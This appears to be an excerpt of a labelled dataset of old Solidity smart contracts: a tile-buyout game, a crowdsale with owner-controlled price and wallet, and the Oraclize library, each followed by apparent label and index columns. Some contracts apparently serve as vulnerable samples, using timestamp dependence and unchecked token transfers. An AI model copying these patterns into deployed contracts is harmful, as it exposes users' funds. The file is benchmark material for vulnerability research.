beneficiary2 = _beneficiary2;
}
function payBeneficiaries() external payable {
uint256 paymentHalve = msg.value.div(2);
uint256 otherPaymentHalve = msg.value.sub(paymentHalve);
asyncSend(beneficiary1, paymentHalve);
asyncSend(beneficiary2, otherPaymentHalve);
}
function setBeneficiary1(address addr) external onlyCFO {
beneficiary1 = addr;
}
function setBeneficiary2(address addr) external onlyCFO {
beneficiary2 = addr;
}
function setReferrer(address playerAddr, address referrerAddr) external onlyBurnupGame whenNotPaused returns(bool) {
if (referrerOf(playerAddr) == address(0x0) && playerAddr != referrerAddr) {
_setReferrer(playerAddr, referrerAddr);
return true;
}
return false;
}
}
contract BurnupGameFinance is BurnupGameOwnership, PullPayment {
BurnupHoldingCore burnupHolding;
function BurnupGameFinance(address burnupHoldingAddress) public {
burnupHolding = BurnupHoldingCore(burnupHoldingAddress);
}
function _claimedSurroundingTiles(uint256 _deedId) internal view returns (uint256[] memory) {
var (x, y) = identifierToCoordinate(_deedId);
uint256 claimed = 0;
uint256[] memory _tiles = new uint256[](8);
for (int256 dx = -1; dx <= 1; dx++) {
for (int256 dy = -1; dy <= 1; dy++) {
if (dx == 0 && dy == 0) {
continue;
}
uint256 nx = uint256(int256(x) + dx);
uint256 ny = uint256(int256(y) + dy);
if (nx >= gameSettings.cols || ny >= gameSettings.rows) {
continue;
}
uint256 neighborIdentifier = coordinateToIdentifier(
nx,
ny
);
if (gameStates[gameIndex].identifierToOwner[neighborIdentifier] != address(0x0)) {
_tiles[claimed] = neighborIdentifier;
claimed++;
}
}
}
uint256[] memory tiles = new uint256[](claimed);
for (uint256 i = 0; i < claimed; i++) {
tiles[i] = _tiles[i];
}
return tiles;
}
function nextBuyoutPrice(uint256 price) public view returns (uint256) {
if (price < 0.02 ether) {
return price.mul(200).div(100);
} else {
return price.mul(gameSettings.buyoutPriceIncreasePercentage).div(100000);
}
}
function _assignBuyoutProceeds(
address currentOwner,
uint256[] memory claimedSurroundingTiles,
uint256 fee,
uint256 currentOwnerWinnings,
uint256 totalDividendPerBeneficiary,
uint256 referralBonus,
uint256 prizePoolFunds
)
internal
{
if (currentOwner != 0x0) {
_sendFunds(currentOwner, currentOwnerWinnings);
} else {
uint256 prizePoolPart = currentOwnerWinnings.mul(gameSettings.firstBuyoutPrizePoolPercentage).div(100000);
prizePoolFunds = prizePoolFunds.add(prizePoolPart);
fee = fee.add(currentOwnerWinnings.sub(prizePoolPart));
}
for (uint256 i = 0; i < claimedSurroundingTiles.length; i++) {
address beneficiary = gameStates[gameIndex].identifierToOwner[claimedSurroundingTiles[i]];
_sendFunds(beneficiary, totalDividendPerBeneficiary);
}
address referrer1 = burnupHolding.referrerOf(msg.sender);
if (referrer1 != 0x0) {
_sendFunds(referrer1, referralBonus);
address referrer2 = burnupHolding.referrerOf(referrer1);
if (referrer2 != 0x0) {
_sendFunds(referrer2, referralBonus);
} else {
fee = fee.add(referralBonus);
}
} else {
fee = fee.add(referralBonus.mul(2));
}
burnupHolding.payBeneficiaries.value(fee)();
gameStates[gameIndex].prizePool = gameStates[gameIndex].prizePool.add(prizePoolFunds);
}
function currentPrice(uint256 _deedId) public view returns (uint256 price) {
address currentOwner = gameStates[gameIndex].identifierToOwner[_deedId];
if (currentOwner == 0x0) {
price = gameSettings.unclaimedTilePrice;
} else {
price = gameStates[gameIndex].identifierToBuyoutPrice[_deedId];
}
}
function _calculateAndAssignBuyoutProceeds(address currentOwner, uint256 price, uint256[] memory claimedSurroundingTiles)
internal
{
uint256 variableDividends = price.mul(gameSettings.buyoutDividendPercentage).div(100000);
uint256 fee = price.mul(gameSettings.buyoutFeePercentage).div(100000);
uint256 referralBonus = price.mul(gameSettings.buyoutReferralBonusPercentage).div(100000);
uint256 prizePoolFunds = price.mul(gameSettings.buyoutPrizePoolPercentage).div(100000);
uint256 currentOwnerWinnings = price.sub(fee).sub(referralBonus.mul(2)).sub(prizePoolFunds);
uint256 totalDividendPerBeneficiary;
if (claimedSurroundingTiles.length > 0) {
totalDividendPerBeneficiary = variableDividends / claimedSurroundingTiles.length;
currentOwnerWinnings = currentOwnerWinnings.sub(totalDividendPerBeneficiary * claimedSurroundingTiles.length);
}
_assignBuyoutProceeds(
currentOwner,
claimedSurroundingTiles,
fee,
currentOwnerWinnings,
totalDividendPerBeneficiary,
referralBonus,
prizePoolFunds
);
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
}
contract BurnupGameCore is BurnupGameFinance {
function BurnupGameCore(address burnupHoldingAddress) public BurnupGameFinance(burnupHoldingAddress) {}
function buyout(uint256 _gameIndex, bool startNewGameIfIdle, uint256 x, uint256 y) public payable {
_processGameEnd();
if (!gameStates[gameIndex].gameStarted) {
require(!paused);
if (allowStart) {
allowStart = false;
} else {
require(canStart());
}
require(startNewGameIfIdle);
_setGameSettings();
gameStates[gameIndex].gameStarted = true;
gameStates[gameIndex].gameStartTimestamp = block.timestamp;
gameStates[gameIndex].penultimateTileTimeout = block.timestamp + gameSettings.initialActivityTimer;
Start(
gameIndex,
msg.sender,
block.timestamp,
gameStates[gameIndex].prizePool
);
PenultimateTileTimeout(gameIndex, gameStates[gameIndex].penultimateTileTimeout);
}
if (startNewGameIfIdle) {
require(_gameIndex == gameIndex || _gameIndex.add(1) == gameIndex);
} else {
require(_gameIndex == gameIndex);
}
uint256 identifier = coordinateToIdentifier(x, y);
address currentOwner = gameStates[gameIndex].identifierToOwner[identifier];
if (currentOwner == address(0x0)) {
require(gameStates[gameIndex].gameStartTimestamp.add(gameSettings.initialActivityTimer) >= block.timestamp);
} else {
require(gameStates[gameIndex].identifierToTimeoutTimestamp[identifier] >= block.timestamp);
}
uint256 price = currentPrice(identifier);
require(msg.value >= price);
uint256[] memory claimedSurroundingTiles = _claimedSurroundingTiles(identifier);
_calculateAndAssignBuyoutProceeds(currentOwner, price, claimedSurroundingTiles);
uint256 timeout = tileTimeoutTimestamp(identifier, msg.sender);
gameStates[gameIndex].identifierToTimeoutTimestamp[identifier] = timeout;
if (gameStates[gameIndex].lastTile == 0 || timeout >= gameStates[gameIndex].identifierToTimeoutTimestamp[gameStates[gameIndex].lastTile]) {
if (gameStates[gameIndex].lastTile != identifier) {
if (gameStates[gameIndex].lastTile != 0) {
gameStates[gameIndex].penultimateTileTimeout = gameStates[gameIndex].identifierToTimeoutTimestamp[gameStates[gameIndex].lastTile];
PenultimateTileTimeout(gameIndex, gameStates[gameIndex].penultimateTileTimeout);
}
gameStates[gameIndex].lastTile = identifier;
LastTile(gameIndex, identifier, x, y);
}
} else if (timeout > gameStates[gameIndex].penultimateTileTimeout) {
gameStates[gameIndex].penultimateTileTimeout = timeout;
PenultimateTileTimeout(gameIndex, timeout);
}
_transfer(currentOwner, msg.sender, identifier);
gameStates[gameIndex].identifierToBuyoutPrice[identifier] = nextBuyoutPrice(price);
gameStates[gameIndex].numberOfTileFlips++;
Buyout(gameIndex, msg.sender, identifier, x, y, block.timestamp, timeout, gameStates[gameIndex].identifierToBuyoutPrice[identifier], gameStates[gameIndex].prizePool);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function buyoutAndSetReferrer(uint256 _gameIndex, bool startNewGameIfIdle, uint256 x, uint256 y, address referrerAddress) external payable {
burnupHolding.setReferrer(msg.sender, referrerAddress);
buyout(_gameIndex, startNewGameIfIdle, x, y);
}
function spiceUp(uint256 _gameIndex, string message) external payable {
_processGameEnd();
require(_gameIndex == gameIndex);
require(gameStates[gameIndex].gameStarted || !paused);
require(msg.value > 0);
gameStates[gameIndex].prizePool = gameStates[gameIndex].prizePool.add(msg.value);
SpiceUpPrizePool(gameIndex, msg.sender, msg.value, message, gameStates[gameIndex].prizePool);
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStates[gameIndex].gameStarted) {
return false;
}
address currentOwner = gameStates[gameIndex].identifierToOwner[gameStates[gameIndex].lastTile];
if (currentOwner == address(0x0)) {
return false;
}
if (gameStates[gameIndex].penultimateTileTimeout >= block.timestamp) {
return false;
}
if (gameStates[gameIndex].prizePool > 0) {
_sendFunds(currentOwner, gameStates[gameIndex].prizePool);
}
var (x, y) = identifierToCoordinate(gameStates[gameIndex].lastTile);
End(gameIndex, currentOwner, gameStates[gameIndex].lastTile, x, y, gameStates[gameIndex].identifierToTimeoutTimestamp[gameStates[gameIndex].lastTile], gameStates[gameIndex].prizePool);
gameIndex++;
return true;
}
} | 0 | 441 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token { function transfer(address receiver, uint amount){ } }
contract Crowdsale {
using SafeMath for uint256;
address public wallet;
address public addressOfTokenUsedAsReward;
uint256 public price = 300;
uint256 public minBuy;
uint256 public maxBuy;
token tokenReward;
uint256 public startTime;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
wallet = 0x60248650a112DDaEe8b4D53eE0D1BEdB52BC3A6b;
addressOfTokenUsedAsReward = 0xAA6296f88c3fb16881750E7166240cD9c82e8172;
tokenReward = token(addressOfTokenUsedAsReward);
}
bool public started = false;
function startSale(uint256 _delayInMinutes){
if (msg.sender != wallet) throw;
startTime = now + _delayInMinutes*1 minutes;
started = true;
}
function stopSale(){
if(msg.sender != wallet) throw;
started = false;
}
function setPrice(uint256 _price){
if(msg.sender != wallet) throw;
price = _price;
}
function setMinBuy(uint256 _minBuy){
if(msg.sender!=wallet) throw;
minBuy = _minBuy;
}
function setMaxBuy(uint256 _maxBuy){
if(msg.sender != wallet) throw;
maxBuy = _maxBuy;
}
function changeWallet(address _wallet){
if(msg.sender != wallet) throw;
wallet = _wallet;
}
function changeTokenReward(address _token){
if(msg.sender!=wallet) throw;
tokenReward = token(_token);
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = (weiAmount) * price;
if(minBuy!=0){
if(tokens < minBuy*10**18) throw;
}
if(maxBuy!=0){
if(tokens > maxBuy*10**18) throw;
}
weiRaised = weiRaised.add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
if (!wallet.send(msg.value)) {
throw;
}
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = started&&(now>=startTime);
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
if(msg.sender!=wallet) throw;
tokenReward.transfer(wallet,_amount);
}
} | 1 | 3,951 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
